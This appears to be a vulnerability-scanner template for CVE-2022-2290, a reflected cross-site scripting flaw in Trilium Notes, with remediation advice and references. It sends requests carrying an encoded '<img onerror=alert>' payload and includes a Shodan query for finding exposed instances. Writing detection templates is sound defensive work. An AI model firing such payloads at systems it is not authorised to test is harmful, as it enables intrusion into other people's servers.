id: CVE-2022-2290

info:
  name: Trilium <0.52.4 - Cross-Site Scripting
  author: dbrwsky
  severity: medium
  description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  remediation: |
    Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
    - https://github.com/zadam/trilium
    - https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2290
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2290
    cwe-id: CWE-79
    epss-score: 0.00112
    epss-percentile: 0.44578
    cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: trilium_project
    product: trilium
    shodan-query: title:"Trilium Notes"
  tags: cve,cve2022,xss,trilium,huntr

http:
  - method: GET
    path:
      - '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
      - '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "No handler matched for custom <img src=x onerror=alert(document.domain)>"
          - "Note '<img src=x onerror=alert(document.domain)>' not found"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 404
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